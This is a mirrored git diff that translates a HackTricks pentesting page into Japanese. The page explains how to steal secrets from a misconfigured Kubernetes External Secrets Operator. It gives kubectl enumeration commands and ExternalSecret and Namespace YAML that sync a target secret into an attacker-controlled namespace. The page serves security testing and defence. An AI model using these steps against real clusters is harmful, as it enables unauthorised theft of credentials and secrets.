mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 20:23:28 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,113 +1,101 @@
|
||||
# External Secret Operator
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**このページの元の著者は** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
|
||||
このページでは、誤って構成されたESOまたはESOを使用して秘密を同期するアプリケーションから秘密を盗む方法についてのいくつかのポイントを示します。
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
|
||||
以下に示す技術は、特定の条件が満たされる場合にのみ機能します。たとえば、あなたが所有または侵害した名前空間で秘密を同期するために必要な要件に依存します。自分で見つける必要があります。
|
||||
|
||||
## Prerequisites
|
||||
|
||||
1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
|
||||
2. Read access on at least ExternalSecret at cluster level
|
||||
3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
|
||||
1. 名前空間での管理者権限を持つkubernetes / openshiftクラスターへの足場
|
||||
2. クラスターレベルでの少なくともExternalSecretへの読み取りアクセス
|
||||
3. ESOがあなたの秘密を同期するために必要なラベル/注釈またはグループメンバーシップがあるかどうかを確認します。運が良ければ、定義された秘密を自由に盗むことができます。
|
||||
|
||||
### Gathering information about existing ClusterSecretStore
|
||||
|
||||
Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.
|
||||
|
||||
十分な権限を持つユーザーがいると仮定して、最初に既存の_**ClusterSecretStores**_をリストアップします。
|
||||
```sh
|
||||
kubectl get ClusterSecretStore
|
||||
```
|
||||
|
||||
### ExternalSecret enumeration
|
||||
|
||||
Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.
|
||||
|
||||
クラスターシークレットストア _**mystore**_ が見つかったと仮定します。その関連する externalsecret を列挙します。
|
||||
```sh
|
||||
kubectl get externalsecret -A | grep mystore
|
||||
```
|
||||
_このリソースは名前空間スコープであるため、どの名前空間を探すべきかすでに知っていない限り、-Aオプションを追加してすべての名前空間を横断して探してください。_
|
||||
|
||||
_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
|
||||
|
||||
You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
|
||||
|
||||
定義されたexternalsecretのリストが得られるはずです。_**mysecret**_というexternalsecretオブジェクトが_**mynamespace**_という名前空間によって定義され、使用されていると仮定しましょう。それが保持している秘密の種類について、もう少し情報を集めてください。
|
||||
```sh
|
||||
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
|
||||
```
|
||||
### 部品の組み立て
|
||||
|
||||
### Assembling the pieces
|
||||
|
||||
From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
|
||||
|
||||
ここから、1つまたは複数のシークレット名(Secretリソースで定義されているように)を取得できます。出力は次のようになります:
|
||||
```yaml
|
||||
kind: ExternalSecret
|
||||
metadata:
|
||||
annotations:
|
||||
...
|
||||
labels:
|
||||
...
|
||||
annotations:
|
||||
...
|
||||
labels:
|
||||
...
|
||||
spec:
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
...
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
...
|
||||
```
|
||||
これまでに得たものは:
|
||||
|
||||
So far we got:
|
||||
|
||||
- Name a ClusterSecretStore
|
||||
- Name of an ExternalSecret
|
||||
- Name of the secret
|
||||
|
||||
Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
|
||||
- ClusterSecretStoreの名前
|
||||
- ExternalSecretの名前
|
||||
- シークレットの名前
|
||||
|
||||
必要なものがすべて揃ったので、ExternalSecretを作成できます(最終的には、新しいシークレットを同期させるために必要な前提条件に従って、新しいNamespaceをパッチまたは作成することになります):
|
||||
```yaml
|
||||
kind: ExternalSecret
|
||||
metadata:
|
||||
name: myexternalsecret
|
||||
namespace: evilnamespace
|
||||
name: myexternalsecret
|
||||
namespace: evilnamespace
|
||||
spec:
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
refreshInterval: 30s
|
||||
secretStoreRef:
|
||||
kind: ClusterSecretStore
|
||||
name: mystore
|
||||
target:
|
||||
creationPolicy: Owner
|
||||
deletionPolicy: Retain
|
||||
name: leaked_secret
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
refreshInterval: 30s
|
||||
secretStoreRef:
|
||||
kind: ClusterSecretStore
|
||||
name: mystore
|
||||
target:
|
||||
creationPolicy: Owner
|
||||
deletionPolicy: Retain
|
||||
name: leaked_secret
|
||||
```
|
||||
|
||||
```yaml
|
||||
kind: Namespace
|
||||
metadata:
|
||||
annotations:
|
||||
required_annotation: value
|
||||
other_required_annotation: other_value
|
||||
labels:
|
||||
required_label: somevalue
|
||||
other_required_label: someothervalue
|
||||
name: evilnamespace
|
||||
annotations:
|
||||
required_annotation: value
|
||||
other_required_annotation: other_value
|
||||
labels:
|
||||
required_label: somevalue
|
||||
other_required_label: someothervalue
|
||||
name: evilnamespace
|
||||
```
|
||||
|
||||
After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
|
||||
|
||||
数分後、同期条件が満たされていれば、あなたのネームスペース内で漏洩したシークレットを表示できるはずです。
|
||||
```sh
|
||||
kubectl get secret leaked_secret -o yaml
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
{{#ref}}
|
||||
https://external-secrets.io/latest/
|
||||
@@ -116,7 +104,3 @@ https://external-secrets.io/latest/
|
||||
{{#ref}}
|
||||
https://github.com/external-secrets/external-secrets
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user